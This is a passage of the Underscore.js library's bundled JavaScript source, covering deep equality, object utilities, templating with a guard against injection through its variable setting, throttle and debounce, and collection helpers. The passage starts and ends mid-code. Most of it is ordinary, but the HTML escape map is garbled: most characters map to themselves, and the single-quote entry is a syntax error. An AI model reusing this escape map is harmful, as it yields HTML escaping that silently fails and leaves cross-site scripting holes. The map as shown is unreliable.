object. _$1.prototype.value = function() { return this._wrapped; }; // Provide unwrapping proxies for some methods used in engine operations // such as arithmetic and JSON stringification. _$1.prototype.valueOf = _$1.prototype.toJSON = _$1.prototype.value; _$1.prototype.toString = function() { return String(this._wrapped); }; // Internal function to wrap or shallow-copy an ArrayBuffer, // typed array or DataView to a new view, reusing the buffer. function toBufferView(bufferSource) { return new Uint8Array( bufferSource.buffer || bufferSource, bufferSource.byteOffset || 0, getByteLength(bufferSource) ); } // We use this string twice, so give it a name for minification. var tagDataView = '[object DataView]'; // Internal recursive comparison function for `_.isEqual`. function eq(a, b, aStack, bStack) { // Identical objects are equal. `0 === -0`, but they aren't identical. // See the [Harmony `egal` proposal](https://wiki.ecmascript.org/doku.php?id=harmony:egal). if (a === b) return a !== 0 || 1 / a === 1 / b; // `null` or `undefined` only equal to itself (strict comparison). if (a == null || b == null) return false; // `NaN`s are equivalent, but non-reflexive. if (a !== a) return b !== b; // Exhaust primitive checks var type = typeof a; if (type !== 'function' && type !== 'object' && typeof b != 'object') return false; return deepEq(a, b, aStack, bStack); } // Internal recursive comparison function for `_.isEqual`. function deepEq(a, b, aStack, bStack) { // Unwrap any wrapped objects. if (a instanceof _$1) a = a._wrapped; if (b instanceof _$1) b = b._wrapped; // Compare `[[Class]]` names. var className = toString.call(a); if (className !== toString.call(b)) return false; // Work around a bug in IE 10 - Edge 13. if (hasDataViewBug && className == '[object Object]' && isDataView$1(a)) { if (!isDataView$1(b)) return false; className = tagDataView; } switch (className) { // These types are compared by value. case '[object RegExp]': // RegExps are coerced to strings for comparison (Note: '' + /a/i === '/a/i') case '[object String]': // Primitives and their corresponding object wrappers are equivalent; thus, `"5"` is // equivalent to `new String("5")`. return '' + a === '' + b; case '[object Number]': // `NaN`s are equivalent, but non-reflexive. // Object(NaN) is equivalent to NaN. if (+a !== +a) return +b !== +b; // An `egal` comparison is performed for other numeric values. return +a === 0 ? 1 / +a === 1 / b : +a === +b; case '[object Date]': case '[object Boolean]': // Coerce dates and booleans to numeric primitive values. Dates are compared by their // millisecond representations. Note that invalid dates with millisecond representations // of `NaN` are not equivalent. return +a === +b; case '[object Symbol]': return SymbolProto.valueOf.call(a) === SymbolProto.valueOf.call(b); case '[object ArrayBuffer]': case tagDataView: // Coerce to typed array so we can fall through. return deepEq(toBufferView(a), toBufferView(b), aStack, bStack); } var areArrays = className === '[object Array]'; if (!areArrays && isTypedArray$1(a)) { var byteLength = getByteLength(a); if (byteLength !== getByteLength(b)) return false; if (a.buffer === b.buffer && a.byteOffset === b.byteOffset) return true; areArrays = true; } if (!areArrays) { if (typeof a != 'object' || typeof b != 'object') return false; // Objects with different constructors are not equivalent, but `Object`s or `Array`s // from different frames are. var aCtor = a.constructor, bCtor = b.constructor; if (aCtor !== bCtor && !(isFunction$1(aCtor) && aCtor instanceof aCtor && isFunction$1(bCtor) && bCtor instanceof bCtor) && ('constructor' in a && 'constructor' in b)) { return false; } } // Assume equality for cyclic structures. The algorithm for detecting cyclic // structures is adapted from ES 5.1 section 15.12.3, abstract operation `JO`. // Initializing stack of traversed objects. // It's done here since we only need them for objects and arrays comparison. aStack = aStack || []; bStack = bStack || []; var length = aStack.length; while (length--) { // Linear search. Performance is inversely proportional to the number of // unique nested structures. if (aStack[length] === a) return bStack[length] === b; } // Add the first object to the stack of traversed objects. aStack.push(a); bStack.push(b); // Recursively compare objects and arrays. if (areArrays) { // Compare array lengths to determine if a deep comparison is necessary. length = a.length; if (length !== b.length) return false; // Deep compare the contents, ignoring non-numeric properties. while (length--) { if (!eq(a[length], b[length], aStack, bStack)) return false; } } else { // Deep compare objects. var _keys = keys(a), key; length = _keys.length; // Ensure that both objects contain the same number of properties before comparing deep equality. if (keys(b).length !== length) return false; while (length--) { // Deep compare each member key = _keys[length]; if (!(has$1(b, key) && eq(a[key], b[key], aStack, bStack))) return false; } } // Remove the first object from the stack of traversed objects. aStack.pop(); bStack.pop(); return true; } // Perform a deep comparison to check if two objects are equal. function isEqual(a, b) { return eq(a, b); } // Retrieve all the enumerable property names of an object. function allKeys(obj) { if (!isObject(obj)) return []; var keys = []; for (var key in obj) keys.push(key); // Ahem, IE < 9. if (hasEnumBug) collectNonEnumProps(obj, keys); return keys; } // Since the regular `Object.prototype.toString` type tests don't work for // some types in IE 11, we use a fingerprinting heuristic instead, based // on the methods. It's not great, but it's the best we got. // The fingerprint method lists are defined below. function ie11fingerprint(methods) { var length = getLength(methods); return function(obj) { if (obj == null) return false; // `Map`, `WeakMap` and `Set` have no enumerable keys. var keys = allKeys(obj); if (getLength(keys)) return false; for (var i = 0; i < length; i++) { if (!isFunction$1(obj[methods[i]])) return false; } // If we are testing against `WeakMap`, we need to ensure that // `obj` doesn't have a `forEach` method in order to distinguish // it from a regular `Map`. return methods !== weakMapMethods || !isFunction$1(obj[forEachName]); }; } // In the interest of compact minification, we write // each string in the fingerprints only once. var forEachName = 'forEach', hasName = 'has', commonInit = ['clear', 'delete'], mapTail = ['get', hasName, 'set']; // `Map`, `WeakMap` and `Set` each have slightly different // combinations of the above sublists. var mapMethods = commonInit.concat(forEachName, mapTail), weakMapMethods = commonInit.concat(mapTail), setMethods = ['add'].concat(commonInit, forEachName, hasName); var isMap = isIE11 ? ie11fingerprint(mapMethods) : tagTester('Map'); var isWeakMap = isIE11 ? ie11fingerprint(weakMapMethods) : tagTester('WeakMap'); var isSet = isIE11 ? ie11fingerprint(setMethods) : tagTester('Set'); var isWeakSet = tagTester('WeakSet'); // Retrieve the values of an object's properties. function values(obj) { var _keys = keys(obj); var length = _keys.length; var values = Array(length); for (var i = 0; i < length; i++) { values[i] = obj[_keys[i]]; } return values; } // Convert an object into a list of `[key, value]` pairs. // The opposite of `_.object` with one argument. function pairs(obj) { var _keys = keys(obj); var length = _keys.length; var pairs = Array(length); for (var i = 0; i < length; i++) { pairs[i] = [_keys[i], obj[_keys[i]]]; } return pairs; } // Invert the keys and values of an object. The values must be serializable. function invert(obj) { var result = {}; var _keys = keys(obj); for (var i = 0, length = _keys.length; i < length; i++) { result[obj[_keys[i]]] = _keys[i]; } return result; } // Return a sorted list of the function names available on the object. function functions(obj) { var names = []; for (var key in obj) { if (isFunction$1(obj[key])) names.push(key); } return names.sort(); } // An internal function for creating assigner functions. function createAssigner(keysFunc, defaults) { return function(obj) { var length = arguments.length; if (defaults) obj = Object(obj); if (length < 2 || obj == null) return obj; for (var index = 1; index < length; index++) { var source = arguments[index], keys = keysFunc(source), l = keys.length; for (var i = 0; i < l; i++) { var key = keys[i]; if (!defaults || obj[key] === void 0) obj[key] = source[key]; } } return obj; }; } // Extend a given object with all the properties in passed-in object(s). var extend = createAssigner(allKeys); // Assigns a given object with all the own properties in the passed-in // object(s). // (https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Object/assign) var extendOwn = createAssigner(keys); // Fill in a given object with default properties. var defaults = createAssigner(allKeys, true); // Create a naked function reference for surrogate-prototype-swapping. function ctor() { return function(){}; } // An internal function for creating a new object that inherits from another. function baseCreate(prototype) { if (!isObject(prototype)) return {}; if (nativeCreate) return nativeCreate(prototype); var Ctor = ctor(); Ctor.prototype = prototype; var result = new Ctor; Ctor.prototype = null; return result; } // Creates an object that inherits from the given prototype object. // If additional properties are provided then they will be added to the // created object. function create(prototype, props) { var result = baseCreate(prototype); if (props) extendOwn(result, props); return result; } // Create a (shallow-cloned) duplicate of an object. function clone(obj) { if (!isObject(obj)) return obj; return isArray(obj) ? obj.slice() : extend({}, obj); } // Invokes `interceptor` with the `obj` and then returns `obj`. // The primary purpose of this method is to "tap into" a method chain, in // order to perform operations on intermediate results within the chain. function tap(obj, interceptor) { interceptor(obj); return obj; } // Normalize a (deep) property `path` to array. // Like `_.iteratee`, this function can be customized. function toPath$1(path) { return isArray(path) ? path : [path]; } _$1.toPath = toPath$1; // Internal wrapper for `_.toPath` to enable minification. // Similar to `cb` for `_.iteratee`. function toPath(path) { return _$1.toPath(path); } // Internal function to obtain a nested property in `obj` along `path`. function deepGet(obj, path) { var length = path.length; for (var i = 0; i < length; i++) { if (obj == null) return void 0; obj = obj[path[i]]; } return length ? obj : void 0; } // Get the value of the (deep) property on `path` from `object`. // If any property in `path` does not exist or if the value is // `undefined`, return `defaultValue` instead. // The `path` is normalized through `_.toPath`. function get(object, path, defaultValue) { var value = deepGet(object, toPath(path)); return isUndefined(value) ? defaultValue : value; } // Shortcut function for checking if an object has a given property directly on // itself (in other words, not on a prototype). Unlike the internal `has` // function, this public version can also traverse nested properties. function has(obj, path) { path = toPath(path); var length = path.length; for (var i = 0; i < length; i++) { var key = path[i]; if (!has$1(obj, key)) return false; obj = obj[key]; } return !!length; } // Keep the identity function around for default iteratees. function identity(value) { return value; } // Returns a predicate for checking whether an object has a given set of // `key:value` pairs. function matcher(attrs) { attrs = extendOwn({}, attrs); return function(obj) { return isMatch(obj, attrs); }; } // Creates a function that, when passed an object, will traverse that object’s // properties down the given `path`, specified as an array of keys or indices. function property(path) { path = toPath(path); return function(obj) { return deepGet(obj, path); }; } // Internal function that returns an efficient (for current engines) version // of the passed-in callback, to be repeatedly applied in other Underscore // functions. function optimizeCb(func, context, argCount) { if (context === void 0) return func; switch (argCount == null ? 3 : argCount) { case 1: return function(value) { return func.call(context, value); }; // The 2-argument case is omitted because we’re not using it. case 3: return function(value, index, collection) { return func.call(context, value, index, collection); }; case 4: return function(accumulator, value, index, collection) { return func.call(context, accumulator, value, index, collection); }; } return function() { return func.apply(context, arguments); }; } // An internal function to generate callbacks that can be applied to each // element in a collection, returning the desired result — either `_.identity`, // an arbitrary callback, a property matcher, or a property accessor. function baseIteratee(value, context, argCount) { if (value == null) return identity; if (isFunction$1(value)) return optimizeCb(value, context, argCount); if (isObject(value) && !isArray(value)) return matcher(value); return property(value); } // External wrapper for our callback generator. Users may customize // `_.iteratee` if they want additional predicate/iteratee shorthand styles. // This abstraction hides the internal-only `argCount` argument. function iteratee(value, context) { return baseIteratee(value, context, Infinity); } _$1.iteratee = iteratee; // The function we call internally to generate a callback. It invokes // `_.iteratee` if overridden, otherwise `baseIteratee`. function cb(value, context, argCount) { if (_$1.iteratee !== iteratee) return _$1.iteratee(value, context); return baseIteratee(value, context, argCount); } // Returns the results of applying the `iteratee` to each element of `obj`. // In contrast to `_.map` it returns an object. function mapObject(obj, iteratee, context) { iteratee = cb(iteratee, context); var _keys = keys(obj), length = _keys.length, results = {}; for (var index = 0; index < length; index++) { var currentKey = _keys[index]; results[currentKey] = iteratee(obj[currentKey], currentKey, obj); } return results; } // Predicate-generating function. Often useful outside of Underscore. function noop(){} // Generates a function for a given object that returns a given property. function propertyOf(obj) { if (obj == null) return noop; return function(path) { return get(obj, path); }; } // Run a function **n** times. function times(n, iteratee, context) { var accum = Array(Math.max(0, n)); iteratee = optimizeCb(iteratee, context, 1); for (var i = 0; i < n; i++) accum[i] = iteratee(i); return accum; } // Return a random integer between `min` and `max` (inclusive). function random(min, max) { if (max == null) { max = min; min = 0; } return min + Math.floor(Math.random() * (max - min + 1)); } // A (possibly faster) way to get the current timestamp as an integer. var now = Date.now || function() { return new Date().getTime(); }; // Internal helper to generate functions for escaping and unescaping strings // to/from HTML interpolation. function createEscaper(map) { var escaper = function(match) { return map[match]; }; // Regexes for identifying a key that needs to be escaped. var source = '(?:' + keys(map).join('|') + ')'; var testRegexp = RegExp(source); var replaceRegexp = RegExp(source, 'g'); return function(string) { string = string == null ? '' : '' + string; return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string; }; } // Internal list of HTML entities for escaping. var escapeMap = { '&': '&', '<': '<', '>': '>', '"': '"', "'": ''', '`': '`' }; // Function for escaping strings to HTML interpolation. var _escape = createEscaper(escapeMap); // Internal list of HTML entities for unescaping. var unescapeMap = invert(escapeMap); // Function for unescaping strings from HTML interpolation. var _unescape = createEscaper(unescapeMap); // By default, Underscore uses ERB-style template delimiters. Change the // following template settings to use alternative delimiters. var templateSettings = _$1.templateSettings = { evaluate: /<%([\s\S]+?)%>/g, interpolate: /<%=([\s\S]+?)%>/g, escape: /<%-([\s\S]+?)%>/g }; // When customizing `_.templateSettings`, if you don't want to define an // interpolation, evaluation or escaping regex, we need one that is // guaranteed not to match. var noMatch = /(.)^/; // Certain characters need to be escaped so that they can be put into a // string literal. var escapes = { "'": "'", '\\': '\\', '\r': 'r', '\n': 'n', '\u2028': 'u2028', '\u2029': 'u2029' }; var escapeRegExp = /\\|'|\r|\n|\u2028|\u2029/g; function escapeChar(match) { return '\\' + escapes[match]; } // In order to prevent third-party code injection through // `_.templateSettings.variable`, we test it against the following regular // expression. It is intentionally a bit more liberal than just matching valid // identifiers, but still prevents possible loopholes through defaults or // destructuring assignment. var bareIdentifier = /^\s*(\w|\$)+\s*$/; // JavaScript micro-templating, similar to John Resig's implementation. // Underscore templating handles arbitrary delimiters, preserves whitespace, // and correctly escapes quotes within interpolated code. // NB: `oldSettings` only exists for backwards compatibility. function template(text, settings, oldSettings) { if (!settings && oldSettings) settings = oldSettings; settings = defaults({}, settings, _$1.templateSettings); // Combine delimiters into one regular expression via alternation. var matcher = RegExp([ (settings.escape || noMatch).source, (settings.interpolate || noMatch).source, (settings.evaluate || noMatch).source ].join('|') + '|$', 'g'); // Compile the template source, escaping string literals appropriately. var index = 0; var source = "__p+='"; text.replace(matcher, function(match, escape, interpolate, evaluate, offset) { source += text.slice(index, offset).replace(escapeRegExp, escapeChar); index = offset + match.length; if (escape) { source += "'+\n((__t=(" + escape + "))==null?'':_.escape(__t))+\n'"; } else if (interpolate) { source += "'+\n((__t=(" + interpolate + "))==null?'':__t)+\n'"; } else if (evaluate) { source += "';\n" + evaluate + "\n__p+='"; } // Adobe VMs need the match returned to produce the correct offset. return match; }); source += "';\n"; var argument = settings.variable; if (argument) { // Insure against third-party code injection. (CVE-2021-23358) if (!bareIdentifier.test(argument)) throw new Error( 'variable is not a bare identifier: ' + argument ); } else { // If a variable is not specified, place data values in local scope. source = 'with(obj||{}){\n' + source + '}\n'; argument = 'obj'; } source = "var __t,__p='',__j=Array.prototype.join," + "print=function(){__p+=__j.call(arguments,'');};\n" + source + 'return __p;\n'; var render; try { render = new Function(argument, '_', source); } catch (e) { e.source = source; throw e; } var template = function(data) { return render.call(this, data, _$1); }; // Provide the compiled source as a convenience for precompilation. template.source = 'function(' + argument + '){\n' + source + '}'; return template; } // Traverses the children of `obj` along `path`. If a child is a function, it // is invoked with its parent as context. Returns the value of the final // child, or `fallback` if any child is undefined. function result(obj, path, fallback) { path = toPath(path); var length = path.length; if (!length) { return isFunction$1(fallback) ? fallback.call(obj) : fallback; } for (var i = 0; i < length; i++) { var prop = obj == null ? void 0 : obj[path[i]]; if (prop === void 0) { prop = fallback; i = length; // Ensure we don't continue iterating. } obj = isFunction$1(prop) ? prop.call(obj) : prop; } return obj; } // Generate a unique integer id (unique within the entire client session). // Useful for temporary DOM ids. var idCounter = 0; function uniqueId(prefix) { var id = ++idCounter + ''; return prefix ? prefix + id : id; } // Start chaining a wrapped Underscore object. function chain(obj) { var instance = _$1(obj); instance._chain = true; return instance; } // Internal function to execute `sourceFunc` bound to `context` with optional // `args`. Determines whether to execute a function as a constructor or as a // normal function. function executeBound(sourceFunc, boundFunc, context, callingContext, args) { if (!(callingContext instanceof boundFunc)) return sourceFunc.apply(context, args); var self = baseCreate(sourceFunc.prototype); var result = sourceFunc.apply(self, args); if (isObject(result)) return result; return self; } // Partially apply a function by creating a version that has had some of its // arguments pre-filled, without changing its dynamic `this` context. `_` acts // as a placeholder by default, allowing any combination of arguments to be // pre-filled. Set `_.partial.placeholder` for a custom placeholder argument. var partial = restArguments(function(func, boundArgs) { var placeholder = partial.placeholder; var bound = function() { var position = 0, length = boundArgs.length; var args = Array(length); for (var i = 0; i < length; i++) { args[i] = boundArgs[i] === placeholder ? arguments[position++] : boundArgs[i]; } while (position < arguments.length) args.push(arguments[position++]); return executeBound(func, bound, this, this, args); }; return bound; }); partial.placeholder = _$1; // Create a function bound to a given object (assigning `this`, and arguments, // optionally). var bind = restArguments(function(func, context, args) { if (!isFunction$1(func)) throw new TypeError('Bind must be called on a function'); var bound = restArguments(function(callArgs) { return executeBound(func, bound, context, this, args.concat(callArgs)); }); return bound; }); // Internal helper for collection methods to determine whether a collection // should be iterated as an array or as an object. // Related: https://people.mozilla.org/~jorendorff/es6-draft.html#sec-tolength // Avoids a very nasty iOS 8 JIT bug on ARM-64. #2094 var isArrayLike = createSizePropertyCheck(getLength); // Internal implementation of a recursive `flatten` function. function flatten$1(input, depth, strict, output) { output = output || []; if (!depth && depth !== 0) { depth = Infinity; } else if (depth <= 0) { return output.concat(input); } var idx = output.length; for (var i = 0, length = getLength(input); i < length; i++) { var value = input[i]; if (isArrayLike(value) && (isArray(value) || isArguments$1(value))) { // Flatten current level of array or arguments object. if (depth > 1) { flatten$1(value, depth - 1, strict, output); idx = output.length; } else { var j = 0, len = value.length; while (j < len) output[idx++] = value[j++]; } } else if (!strict) { output[idx++] = value; } } return output; } // Bind a number of an object's methods to that object. Remaining arguments // are the method names to be bound. Useful for ensuring that all callbacks // defined on an object belong to it. var bindAll = restArguments(function(obj, keys) { keys = flatten$1(keys, false, false); var index = keys.length; if (index < 1) throw new Error('bindAll must be passed function names'); while (index--) { var key = keys[index]; obj[key] = bind(obj[key], obj); } return obj; }); // Memoize an expensive function by storing its results. function memoize(func, hasher) { var memoize = function(key) { var cache = memoize.cache; var address = '' + (hasher ? hasher.apply(this, arguments) : key); if (!has$1(cache, address)) cache[address] = func.apply(this, arguments); return cache[address]; }; memoize.cache = {}; return memoize; } // Delays a function for the given number of milliseconds, and then calls // it with the arguments supplied. var delay = restArguments(function(func, wait, args) { return setTimeout(function() { return func.apply(null, args); }, wait); }); // Defers a function, scheduling it to run after the current call stack has // cleared. var defer = partial(delay, _$1, 1); // Returns a function, that, when invoked, will only be triggered at most once // during a given window of time. Normally, the throttled function will run // as much as it can, without ever going more than once per `wait` duration; // but if you'd like to disable the execution on the leading edge, pass // `{leading: false}`. To disable execution on the trailing edge, ditto. function throttle(func, wait, options) { var timeout, context, args, result; var previous = 0; if (!options) options = {}; var later = function() { previous = options.leading === false ? 0 : now(); timeout = null; result = func.apply(context, args); if (!timeout) context = args = null; }; var throttled = function() { var _now = now(); if (!previous && options.leading === false) previous = _now; var remaining = wait - (_now - previous); context = this; args = arguments; if (remaining <= 0 || remaining > wait) { if (timeout) { clearTimeout(timeout); timeout = null; } previous = _now; result = func.apply(context, args); if (!timeout) context = args = null; } else if (!timeout && options.trailing !== false) { timeout = setTimeout(later, remaining); } return result; }; throttled.cancel = function() { clearTimeout(timeout); previous = 0; timeout = context = args = null; }; return throttled; } // When a sequence of calls of the returned function ends, the argument // function is triggered. The end of a sequence is defined by the `wait` // parameter. If `immediate` is passed, the argument function will be // triggered at the beginning of the sequence instead of at the end. function debounce(func, wait, immediate) { var timeout, previous, args, result, context; var later = function() { var passed = now() - previous; if (wait > passed) { timeout = setTimeout(later, wait - passed); } else { timeout = null; if (!immediate) result = func.apply(context, args); // This check is needed because `func` can recursively invoke `debounced`. if (!timeout) args = context = null; } }; var debounced = restArguments(function(_args) { context = this; args = _args; previous = now(); if (!timeout) { timeout = setTimeout(later, wait); if (immediate) result = func.apply(context, args); } return result; }); debounced.cancel = function() { clearTimeout(timeout); timeout = args = context = null; }; return debounced; } // Returns the first function passed as an argument to the second, // allowing you to adjust arguments, run code before and after, and // conditionally execute the original function. function wrap(func, wrapper) { return partial(wrapper, func); } // Returns a negated version of the passed-in predicate. function negate(predicate) { return function() { return !predicate.apply(this, arguments); }; } // Returns a function that is the composition of a list of functions, each // consuming the return value of the function that follows. function compose() { var args = arguments; var start = args.length - 1; return function() { var i = start; var result = args[start].apply(this, arguments); while (i--) result = args[i].call(this, result); return result; }; } // Returns a function that will only be executed on and after the Nth call. function after(times, func) { return function() { if (--times < 1) { return func.apply(this, arguments); } }; } // Returns a function that will only be executed up to (but not including) the // Nth call. function before(times, func) { var memo; return function() { if (--times > 0) { memo = func.apply(this, arguments); } if (times <= 1) func = null; return memo; }; } // Returns a function that will be executed at most one time, no matter how // often you call it. Useful for lazy initialization. var once = partial(before, 2); // Returns the first key on an object that passes a truth test. function findKey(obj, predicate, context) { predicate = cb(predicate, context); var _keys = keys(obj), key; for (var i = 0, length = _keys.length; i < length; i++) { key = _keys[i]; if (predicate(obj[key], key, obj)) return key; } } // Internal function to generate `_.findIndex` and `_.findLastIndex`. function createPredicateIndexFinder(dir) { return function(array, predicate, context) { predicate = cb(predicate, context); var length = getLength(array); var index = dir > 0 ? 0 : length - 1; for (; index >= 0 && index < length; index += dir) { if (predicate(array[index], index, array)) return index; } return -1; }; } // Returns the first index on an array-like that passes a truth test. var findIndex = createPredicateIndexFinder(1); // Returns the last index on an array-like that passes a truth test. var findLastIndex = createPredicateIndexFinder(-1); // Use a comparator function to figure out the smallest index at which // an object should be inserted so as to maintain order. Uses binary search. function sortedIndex(array, obj, iteratee, context) { iteratee = cb(iteratee, context, 1); var value = iteratee(obj); var low = 0, high = getLength(array); while (low < high) { var mid = Math.floor((low + high) / 2); if (iteratee(array[mid]) < value) low = mid + 1; else high = mid; } return low; } // Internal function to generate the `_.indexOf` and `_.lastIndexOf` functions. function createIndexFinder(dir, predicateFind, sortedIndex) { return function(array, item, idx) { var i = 0, length = getLength(array); if (typeof idx == 'number') { if (dir > 0) { i = idx >= 0 ? idx : Math.max(idx + length, i); } else { length = idx >= 0 ? Math.min(idx + 1, length) : idx + length + 1; } } else if (sortedIndex && idx && length) { idx = sortedIndex(array, item); return array[idx] === item ? idx : -1; } if (item !== item) { idx = predicateFind(slice.call(array, i, length), isNaN$1); return idx >= 0 ? idx + i : -1; } for (idx = dir > 0 ? i : length - 1; idx >= 0 && idx < length; idx += dir) { if (array[idx] === item) return idx; } return -1; }; } // Return the position of the first occurrence of an item in an array, // or -1 if the item is not included in the array. // If the array is large and already in sort order, pass `true` // for **isSorted** to use binary search. var indexOf = createIndexFinder(1, findIndex, sortedIndex); // Return the position of the last occurrence of an item in an array, // or -1 if the item is not included in the array. var lastIndexOf = createIndexFinder(-1, findLastIndex); // Return the first value which passes a truth test. function find(obj, predicate, context) { var keyFinder = isArrayLike(obj) ? findIndex : findKey; var key = keyFinder(obj, predicate, context); if (key !== void 0 && key !== -1) return obj[key]; } // Convenience version of a common use case of `_.find`: getting the first // object containing specific `key:value` pairs. function findWhere(obj, attrs) { return find(obj, matcher(attrs)); } // The cornerstone for collection functions, an `each` // implementation, aka `forEach`. // Handles raw objects in addition to array-likes. Treats all // sparse array-likes as if they were dense. function each(obj, iteratee, context) { iteratee = optimizeCb(iteratee, context); var i, length; if (isArrayLike(obj)) { for (i = 0, length = obj.length; i < length; i++) { iteratee(obj[i], i, obj); } } else { var _keys = keys(obj); for (i = 0, length = _keys.length; i < length; i++) { iteratee(obj[_keys[i]], _keys[i], obj); } } return obj; } // Return the results of applying the iteratee to each element. function map(obj, iteratee, context) { iteratee = cb(iteratee, context); var _keys = !isArrayLike(obj) && keys(obj), length = (_keys || obj).length, results = Array(length); for (var index = 0; index < length; index++) { var currentKey = _keys ? _keys[index] : index; results[index] = iteratee(obj[currentKey], currentKey, obj); } return results; } // Internal helper to create a reducing function, iterating left or right. function createReduce(dir) { // Wrap code that reassigns argument variables in a separate function than // the one that accesses `arguments.length` to avoid a perf hit. (#1991) var reducer = function(obj, iteratee, memo, initial) { var _keys = !isArrayLike(obj) && keys(obj), length = (_keys || obj).length, index = dir > 0 ? 0 : length - 1; if (!initial) { memo = obj[_keys ? _keys[index] : index]; index += dir; } for (; index >= 0 && index < length; index += dir) { var currentKey = _keys ? _keys[index] : index; memo = iteratee(memo, obj[currentKey], currentKey, obj); } return memo; }; return function(obj, iteratee, memo, context) { var initial = arguments.length >= 3; return reducer(obj, optimizeCb(iteratee, context, 4), memo, initial); }; } // **Reduce** builds up a single result from a list of values, aka `inject`, // or `foldl`. var reduce = createReduce(1); // The right-associative version of reduce, also known as `foldr`. var reduceRight = createReduce(-1); // Return all the elements that pass a truth test. function filter(obj, predicate, context) { var results = []; predicate = cb(predicate, context); each(obj, function(value, index, list) { if (predicate(value, index, list)) results.push(value); }); return results; } // Return all the elements for which a truth test fails. function reject(obj, predicate, context) { return filter(obj, negate(cb(predicate)), context); } // Determine whether all of the elements pass a truth test. function every(obj, predicate, context) { predicate = cb(predicate, context); var _keys = !isArrayLike(obj) && keys(obj), length = (_keys || obj).length; for (var index = 0; index < length; index++) { var currentKey = _keys ? _keys[index] : index; if (!predicate(obj[currentKey], currentKey, obj)) return false; } return true; } // Determine if at least one element in the object passes a truth test. function some(obj, predicate, context) { predicate = cb(predicate, context); var _keys = !isArrayLike(obj) && keys(obj), length = (_keys || obj).length; for (var index = 0; index < length; index++) { var currentKey = _keys ? _keys[index] : index; if (predicate(obj[currentKey], currentKey, obj)) return true; } return false; } // Determine if the array or object contains a given item (using `===`). function contains(obj, item, fromIndex, guard) { if (!isArrayLike(obj)) obj = values(obj); if (typeof fromIndex != 'number' || guard) fromIndex = 0; return indexOf(obj, item, fromIndex) >= 0; } // Invoke a method (with arguments) on every item in a collection. var invoke = restArguments(function(obj, path, args) { var contextPath, func; if (isFunction$1(path)) { func = path; } else { path = toPath(path); contextPath = path.slice(0, -1); path = path[path.length - 1]; } return map(obj, function(context) { var method = func; if (!method) { if (contextPath && contextPath.length) { context = deepGet(context, contextPath); } if (context == null) return void 0; method = context[path]; } return method == null ? method : method.apply(context, args); }); }); // Convenience version of a common use case of `_.map`: fetching a property. function pluck(obj, key) { return map(obj, property(key)); } // Convenience version of a common use case of `_.filter`: selecting only // objects containing specific `key:value` pairs. function where(obj, attrs) { return filter(obj, matcher(attrs)); } // Return the maximum element (or element-based computation). function max(obj, iteratee, context) { var result = -Infinity, lastComputed = -Infinity, value, computed; if (iteratee == null || (typeof iteratee == 'number' && typeof obj[0] != 'object' && obj != null)) { obj = isArrayLike(obj) ? obj : values(obj); for (var i = 0, length = obj.length; i < length; i++) { value = obj[i]; if (value != null && value > result) { result = value; } } } else { iteratee = cb(iteratee, context); each(obj, function(v, index, list) { computed = iteratee(v, index, list); if (computed > lastComputed || (computed === -Infinity && result === -Infinity)) { result = v; lastComputed = computed; } }); } return result; } // Return the minimum element (or element-based computation). function min(obj, iteratee, context) { var result = Infinity, lastComputed = Infinity, value, computed; if (iteratee == null || (typeof iteratee == 'number' && typeof obj[0] != 'object' && obj != null)) { obj = isArrayLike(obj) ? obj : values(obj); for (var i = 0, length = obj.length; i < length; i++) { value = obj[i]; if (value != null && value < result) { result = value; } } } else { iteratee = cb(iteratee, context); each(obj, function(v, index, list) { computed = iteratee(v, index, list); if (computed < lastComputed || (computed === Infinity && result === Infinity)) { result = v; lastComputed = computed; } }); } return result; } // Safely create a real, live array from anything iterable. var reStrSymbol = /[^\ud800-\udfff]|[\ud800-\udbff][\udc00-\udfff]|[\ud800-\udfff]/g; function toArray(obj) { if (!obj) return []; if (isArray(obj)) return slice.call(obj); if (isString(obj)) { // Keep surrogate pair characters together. return obj.match(reStrSymbol); } if (isArrayLike(obj)) return map(obj, identity); return values(obj); } // Sample **n** random values from a collection using the modern version of the // [Fisher-Yates shuffle](https://en.wikipedia.org/wiki/Fisher–Yates_shuffle). // If **n** is not specified, returns a single random element. // The internal `guard` argument allows it to work with `_.map`. function sample(obj, n, guard) { if (n == null || guard) { if (!isArrayLike(obj)) obj = values(obj); return obj[random(obj.length - 1)]; } var sample = toArray(obj); var length = getLength(sample); n = Math.max(Math.min(n, length), 0); var last = length - 1; for (var index = 0; index < n; index++) { var rand = random(index, last); var temp = sample[index]; sample[index] = sample[rand]; sample[rand] = temp; } return sample.slice(0, n); } // Shuffle a collection. function shuffle(obj) { return sample(obj, Infinity); } // Sort the object's values by a criterion produced by an iteratee. function sortBy(obj, iteratee, context) { var index = 0; iteratee = cb(iteratee, context); return pluck(map(obj, function(value, key, list) { return { value: value, index: index++, criteria: iteratee(value, key, list) }; }).sort(function(left, right) { var a = left.criteria; var b = right.criteria; if (a !== b) { if (a > b || a === void 0) return 1; if (a < b || b === void 0) return -1; } return left.index - right.index; }), 'value'); } // An internal function used for aggregate "group by" operations. function group(behavior, partition) { return function(obj, iteratee, context) { var result = partition ? [[], []] : {}; iteratee = cb(iteratee, context); each(obj, function(value, index) { var key = iteratee(value, index, obj); behavior(result, value, key); }); return result; }; } // Groups the object's values by a criterion. Pass either a string attribute // to group by, or a function that returns the criterion. var groupBy = group(function(result, value, key) { if (has$1(result, key)) result[key].push(value); else result[key] = [value]; }); // Indexes the object's values by a criterion, similar to `_.groupBy`, but for // when you know that your index values will be unique. var indexBy = group(function(result, value, key) { result[key] = value; }); // Counts instances of an object that group by a certain criterion. Pass // either a string attribute to count by, or a function that returns the // criterion. var countBy = group(function(result, value, key) { if (has$1(result, key)) result[key]++; else result[key] = 1; }); // Split a collection into two arrays: one whose elements all pass the given // truth test, and one whose elements all do not pass the truth test. var partition = group(function(result, value, pass) { result[pass ? 0 : 1].push(value); }, true); // Return the number of elements in a collection. function size(obj) { if (obj == null) return 0; return isArrayLike(obj) ? obj.length : keys(obj).length; } // Internal `_.pick` helper function to determine whether `key` is an enumerable // property name of `obj`. function keyInObj(value, key, obj) { return key in obj; } // Return a copy of the object only containing the allowed properties. var pick = restArguments(function(obj, keys) { var result = {}, iteratee = keys[0]; if (obj == null) return result; if (isFunction$1(iteratee)) { if (keys.length > 1) iteratee = optimizeCb(iteratee, keys[1]); keys = allKeys(obj); } else { iteratee = keyInObj; keys = flatten$1(keys, false, false); obj = Object(obj); } for (var i = 0, length = keys.length; i < length; i++) { var key = keys[i]; var value = obj[key]; if (iteratee(value, key, obj)) result[key] = value; } return 